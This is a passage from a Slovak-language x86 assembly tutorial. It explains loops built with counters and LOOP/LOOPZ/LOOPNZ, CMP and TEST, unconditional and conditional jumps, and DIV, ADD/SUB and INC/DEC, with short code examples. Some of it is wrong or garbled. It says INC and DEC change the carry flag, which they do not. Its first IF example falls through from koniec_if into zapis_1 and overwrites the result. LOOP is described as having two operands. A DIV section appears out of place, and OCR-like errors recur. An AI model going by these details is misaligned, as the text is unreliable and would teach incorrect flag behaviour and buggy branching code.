jnz for_cyklus ; ak nie je 10, skočíme na for_cyklus 
for_skonci: ; ak už je 10, potom skončíme

Ukážme si aj variant s premennou I umiestnenou v pamäti.

for_start:
mov  dword   [i] , 0
for_cyklus: ; na toto návestie sa budeme vracať 
... ; tu budeme vykonávať príkazy vo FOR-cykle 
inc dword [i] ; ECX zvýšime o 1 
cmp dword [i], 10 ; srovnárne ECX s 10 
jnz for_cyklus ; ak nie 10, skočíme na for_cyklus 
for_skonci: ; ak už je 10, tak skončíme

Inštrukcia LOOP

Syntax: LOOP navestie_cyklu

Inštrukcia LOOP má dva operandy, podobne ako inštrukcia MUL. Prvý operand je pevne daný a je ním register CX (alebo ECX). Druhý, voliteľný operand je adresa návestia, kam sa bude odovzdávať konanie v prípade splnenej podmienky. Inštrukcia LOOP najskôr odpočíta jedničku od registra CX (ECX), a ak výsledok nie je nula, tak odovzdá riadenie programu na miesto určené svojim voliteľným operandom (cieľ skoku musí ležať v intervale + (alebo -) 128 bytov).

For-cyklus od 10 do 1 (vrátane) vytvorený inštrukciou LOOP by vyzeral takto:

for_start:
mov cx, 10  ; naplníme register CX 10 
for_cyklus:  ; na toto návestie sa budeme vracať 
...              ; tu budeme vykonávať príkazy v FOR-cykle 
loop for_cyklus ; ak CX nie je 0, skočíme na for_cyklus 
for_skonci: ; ak už je 0, potom skončíme

Inštrukcie LOOPZ a LOOPZN

Syntax:
LOOPZ navestie_cyklu
LOOPNZ navestie_cyklu

Inštrukcia LOOPZ rozširuje podmienku uskutočnenia skoku. Skok na návestie uvedené v inštrukcii sa uskutoční práve vtedy, keď hodnota v registri CX (ECX) nie je rovná nule a zároveň je nastavený príznak ZF (zero flag) na 1. Synonymum inštrukcie je LOOPE.

Inštrukciou LOOPZ ľahko vytvoríme cyklus s dodatočnou podmienkou. Rozšírme podmienku jedného priechodu cyklu z predchádzajúceho príkladu o test registra BX na číslo 3. Cyklus sa vykoná najviac desaťkrát, ale za podmienky, že hodnota v registri BX = 3. Inak sa predčasne ukončí.

for_start: 
mov cx, 10   ; naplníme register ECX 10 
for_cyklus: ; na toto návestie sa budeme vracať 
... ; tu budeme vykonávať príkazy v FOR-cykle 
... ; možná zmena registra BX 
cmp bx, 3 ; je BX = 3?
loopz for_cyklus ; ak CX neni 0 a BX = 3, skočíme na for_cyklus 
for_skonci: ; ak už je 0 alebo BX nie je 3, tak skončíme

Inštrukcia LOOPNZ funguje analogicky, ale druhá podmienka je negovaná. Skok sa uskutoční, ak nie je register CX (ECX) rovný nule a zároveň nie je nastavený príznak ZF (zero flag je nula). Jej synonymum je LOOPNE.

Porovnanie dvoch operandov vykonávajú inštrukcie CMP a TEST. Ako operandy môžeme použiť registre alebo operand uložený v pamäti v známych veľkostiach 8, 16 a 32 bitov.
Názov inštrukcie CMP je odvodený z anglického slova compare (porovnaj). Inštrukcia je implementovaná podobne ako inštrukcia SUB. Operand o2 sa odpočíta od operanda ol. Výsledok sa nikam neuloží, zmenia sa len príznaky v registri príznakov. Inštrukciu CMP môžeme použiť na porovnanie celých čísel bez znamienka aj so znamienkom.
Inštrukcia TEST pracuje podobne, miesto rozdielu operandov sa vykoná ich bitový súčin (AND). Výsledkom sú novo nastavené príznaky v registri príznakov. Inštrukciu TEST používame pre testovanie hodnôt jednotlivých bitov v bitovom poli.

Ukážme si niekoľko príkladov:

cmp ax, 4       ; porovná register AX s hodnotou 4
cmp dl, ah             ; porovná register DL s registrom AH
cmp [prumerl], ax   ; porovná obsah "premennej" prumer s registrom AX
cmp ax, [prumerl]   ; porovná register AX s obsahom "premennej" prumer
cmp eax, ecx         ; porovná registre EAX a ECX
test ax, 00000100b ; testujeme bit 2 (tretia) bit, ak je nastavený

Inštrukcie nepodmieného skoku JMP

Prvým spôsobom, ako zmeniť sekvenčné vykonávanie inštrukcií v programe, je použitie inštrukcie nepodmienečného skoku. Inštrukcia prinúti procesor spracovávať inštrukcie z iného miesta v pamäti (prepíše hodnoty ukazovateľa na ďalšiu inštrukciu, register IP alebo i CS).

Syntax: JMP typ_skoku operand

Nepodmienený skok známy z vyšších programovacích jazykov pod názvom GOTO v Assembleru predstavuje inštrukcia JMP. Názov vznikol z anglického slova jump (skoč). Inštrukcia vyžaduje jediný priamy operand, ktorým je adresa miesta v pamäti, kam sa má skočiť (ako operand možno použiť aj univerzálny register naplnený adresou skoku, čo by som začiatočníkom neodporúčal). V Assembleri sú rovnako ako vo vyšších programovacích jazykoch adresy skokov reprezentované návestiami (label).
Podľa “vzdialenosti” skoku v programe rozlišujeme tri druhy skokov: short, near a far. (Krátky, blízky a vzdialený).
Maximálna “dĺžka” skoku (maximálny absolútny rozdiel adries, ktorý možeme skokom zmeniť) typu short je obmedzená. V druhom byte inštrukcie je uložená len 8-bitová hodnota sa znamienkom, preto adresa cieľa skoku smie ležať iba v rozmedzí -128 až 127 byte. Skok sa vykoná tak, že sa 8-bitová hodnota znamienkovo rozšíri a pripočíta sa k súčasnej hodnote registra (E)IP.
Inštrukcia skoku typu near už obsahuje vo svojej strojovej reprezentácii novú hodnotu registra (E)IP, dĺžka skoku je obmedzená iba módom procesora. V reálnom režime procesora meníme inštrukciou jmp near register IP, preto sa smieme pohybovať len v rozmedzí jedného segmentu (64 KB), v chránenom režime používame register EIP a tak cieľ skoku môže ležať kdekoľvek v 4 GB adresového priestoru.
Skok far mení aj hodnotu segmentového registra CS, ktorý sa podieľa na výpočte adresy inštrukcie v pamäti. Súčasťou adresy skoku musí byť aj nová hodnota pre register CS.
Ak nie je typ skoku uvedený, predpokladá sa typ near.
Teraz trochu vo výklade “preskočíme” a povieme si, ako vyzerá návestie v Assembleri. Ide v podstate o identifikátor zakončený dvojbodkou, ktorému bola pri preklade pridelená adresa podľa miesta výskytu v programe. Ukážme si časť programu, kde je použité návestie:

mov ax, 4       ; do AX vlož hodnotu 4 
novy_cyklus:   ; návestie novy_cyklus 
mov bx, ax      ; do BX okopírujte AX

Ak chceme vykonať nepodmienený skok na návestie novy_cyklus, napíšeme inštrukciu:

jmp novy_cyklus; skok na novy_cyklus

Po jej prevedení sa program začne vykonávať od návestia novy_cyklus.
Nič nám nebráni najprv vykonať skok a neskôr v programe uviesť návestie. Prekladač pracuje “na viacerých priechodoch”, a preto aj také skoky dopredu vie spracovať. Časť programu používajúca dopredné skoky by mohla vyzerať nasledovne:

jmp start; skok na štart 
ciel:        ; návestie ciel 
...
...         ; ďalšie inštrukcie 
start:    ; návestie štart 
jmp ciel   ; skok na ciel

Vráťme sa ešte krátko k typom skokov, ktoré budeme síce ako začiatočníci využívať veľmi zriedka. Skok typu short použijeme všade tam, kde návestie “leží” do 128 B. Tak ušetríme 1B programového kódu, pretože preložená inštrukcia jmp short zaberá len dva byte (inštrukcia JMP alebo JMP near 3 alebo 5 byte). Možno vás desí predstava, ako odhadnúť vzdialenosť návestí v nepreloženom programe. Nemusíte sa báť, jednoducho to vyskúšajte, prekladač v prípade neúspechu zahlási chybu.

blizke_navestie:              ; návestie blizke_navestie 
....                              ; Nejaké dalšie inštrukcie 
jmp short blizke_navestie  ; urobíme skok na blizke_navestie

Inštrukcie podmienených skokov Jx

Syntax: Jx návestie_ciela_skoku

Ďalším spôsobom, ako zmeniť sekvenčné vykonávanie inštrukcií v programe, je použitie inštrukcie podmieneného skoku.
Inšturkcií podmieneného skoku existuje celá rada. Navzájom sa odlišujú rozhodovaciu podmienkou, ktorá riadi vykonanie skoku. V závislosti od vyhodnotenia podmienky sa vykonávanie programu buď presunie na iné miesto, alebo program pokračuje na nasledujúcu adresu za inštrukciou skoku. Rozhodovaciou podmienkou sú stavy príznakov (niekoľkých alebo len jedného) príznakového registra procesora.
Ukážme si najpoužívanejšie inštrukcie, ktoré skočia na návestie splnené, ak bude podmienka splnená.

jz splnene   ; skočí, ak je príznak ZF (zero flag, príznak nuly) nastavený na 1 
jc splnene  ; skočí, ak je príznak CF (carry flag, príznak prenosu) nastavený na 1 
js splnene  ; skočí, ak je nastavený príznak znamienka SF (signum flag) 
jo splnene  ; skočí, ak je nastavený príznak pretečenia

Všetky podmienky môžeme obrátiť (negovať).

jnz splnene; skočí, ak nie je príznak ZF (zero flag, príznak nuly) nastavený (je nula)

Podobne aj ostatné JNC, JNS a JNO.

Teraz môžeme s našimi znalosťami príslušných inštrukcií Assembleru podmienku IF naprogramovať. Ukážme si jednoduchý príklad, v ktorom budeme chcieť odovzdať riadenie programu (skočiť) na návestie je_tri, ak je hodnota v registri AX rovná trom.
V prvom kroku porovnáme hodnotu v registri AX s číslom 3, čo urobíme inštrukciou CMP.

cmp ax, 3; register AX porovnaj s hodnotou 3

Pri porovnaní na rovnosť použijeme inštrukciu JZ.

jz je_tri; skočí na návestie je_tri, ak bude hodnota AX = 3

Všimnime si, že pri porovnávaní rovnosti čísiel nezáleží na tom, či práve číslo chápeme ako číslo so znamienkom alebo bez.
Inštrukcia JZ vykoná skok na návestie je_tri, ak bude hodnota v registri AX rovná trom, inak bude program pokračovať inštrukciou nasledujúcou po JZ.

V ďalšom príklade budeme chcieť porovnať bez znamienka hodnoty v registri CL a AI .. Do registra BL zapísať jedničku, keď sú si hodnoty rovnaké, dvojku, ak je AL väčší ako CL, a trojku, ak je v registri AL menšie ako v CL

Porovnáme registre AL a CL, výsledok porovnania sa uloží do príznakového registra procesora a použitím rôznych inštrukcií skoku zabezpečíme výber správnej alternatívy a tým aj riešenie problému.

cmp al, cl  ; porovnaj hodnoty uložené v AL a CL 
jz zapis_l   ; skoč na návestie zapis_l, ak AL = CL 
cmp al, cl  ; porovnaj hodnoty uložené v AL a CL 
ja zapis_2 ; skoč na návestie zapis_2, ak AL> CL 
mov bl, 3  ; do BL zapíš 3 
koniec_if:  ; tu je koniec nášho programu 
zapis_1:    ; návestie zapis_1 
mov bl, 1   ; do BL zapíš 1 
jmp koniec_if; skok na koniec nášho programu 
zapis_2:    ; návestie zapis_2 
mov bl, 2   ; do BL zapíš 2 
jmp koniec_if; skok na koniec nášho programu

Museli sme dokonca použiť nepodmienený skok, aby sme vrátili riadenie programu na pôvodné miesto. Riešenie možno ešte výrazne vylepšiť:

mov bl, 1     ; do BL zapíš 1 
cmp al, cl    ; porovnaj AL a CL 
je koniec_if  ; skoč na koniec programu, ak AL = CL 
mov bl, 2    ; do BL zapíš 2 
cmp al, cl   ; porovnaj AL a CL 
ja koniec_if ; skoč na koniec programu, ak AL > CL 
mov bl, 3   ; do BL zapíš 3 
koniec_if:   ; koniec programu

DX: AX / (r/ml6) -> AX, zvyšok v DX

V 32-bitovej variante je voliteľný operand ľubovoľným 32-bitovým registrom alebo miestom v pamäti, pevný operand sa predpokladá v registrovej dvojici EDX: EAX, výsledok delenia sa ukladá do registra EAX, zvyšok po delení do registra EDX.

EDX:EAX / (r/m32) -> EAX, zvyšok v EDX

Inštrukciu IDIV použijeme pri delení čísel so znamienkom, operandy inštrukcie sú rovnaké ako u inštrukcie DIV.
Uveďme si opäť niekoľko príkladov.

Príklad: Celočíselne vydeľte číslo 13 dvoma, výsledok uložte do registra BL a zvyšok do registra BH.

mov ax, 13  ; do AX vložíme 13 
mov cl, 2 ; do CL 2
div cl ; vydelíme CL 
mov bx, ax ; výsledok očakávame v BX, stačí prekopírovať

Inštrukcie ADD a SUB

Začneme ako v prvej triede s inštrukciou ADD (sčítaj). Inštrukcia ADD má dva operandy, podobne ako inštrukcia MOV.

Syntax: ADD ol, o2

ADD sčíta obidva operandy a výsledok uloží do operanda ol, jeho predchádzajúca hodnota je stratená.

Inštrukcia pre odčítanie je označovaná SUB (z anglického substract) a jej syntax je podobná.

Syntax: SUB ol, o2

Výsledok ol – o2 sa uloží do ol; jeho pôvodná hodnota je opäť stratená. Ukážme si niekoľko príkladov:
Př.: Sčítajme čísla 8 a 6 (uložené v registri AX a CX), výsledok uložme do DX:

mov ax, 8   ; do registra AX vložíme 8 
mov cx, 6   ; do registra CX zase 6 
mov dx, cx  ; CX okopíruje do DX takže DX = 6 
add dx, ax  ; sčítame DX = DX + AX

Pretože sme chceli uchrániť register AX aj CX pred zničením (prepísaním výsledkom), prekopírovali sme hodnotu uloženú v registri CX do DX a spočítali register DX s AX. Inštrukcia ADD výsledok súčtu DX + AX uložila do DX.

Ukážme si ďalšie príklady, ako použiť inštrukcie ADD a SUB.

add eax, 8 ; k registru EAX pripočítame 8
sub ecx, EBP ; registr ECX = ECX - EBP
add byte [cislo], 4 ; k hodnote "premennej" cislo prirátame štyri
  ;(napovedáme rozsah 1 byte 0-256)
sub word [cislo], 4 ; od hodnoty "premennej" cislo odčítame 4
  ;(napovedáme rozsah 2 byte 0-65 535)
add dword [cislo], 4 ;k hodnote "premennej" cislo pripočítame 4
sub byte [cislo], al ;od hodnoty "premennej" cislo odčítame register AL
sub ah, al ; od registra AH odrátame AL a výsledok a uložíme do AH

Inštrukcie INC a DEC

Syntax: 
INC ol  ; ol = ol + 1;
DEC ol ; ol = ol - 1

Ich názvy sú opäť odvodené z angličtiny a znamenajú increment (zvýšiť) a Decre-ment (znížiť).
Inštrukcia zvyšuje (INC) alebo znižuje (DEC) jediný operand o jedničku. Jeho typ je rovnaký ako inštrukcií ADD a SUB. Ak použijeme operand ležiaci v pamäti, musíme prekladaču opäť napovedať požadovaný rozsah operanda. POZOR! Tieto pokyny upravujú príznak prenosu!

Přiklad: pripočítame k registru AI jedničku.

add al, l ; je správne, avšak vďaka inštrukcii INC môžeme požiadavku 
inc al    ; splniť aj takto.

Príklad: Zvýšte hodnotu šestnásťbitové “premennej” cislo o 1.

inc word [cislo]; pripočítali sme jedničku, napovedali sme rozsah 
  ; 0-65535, tj 16 bitov.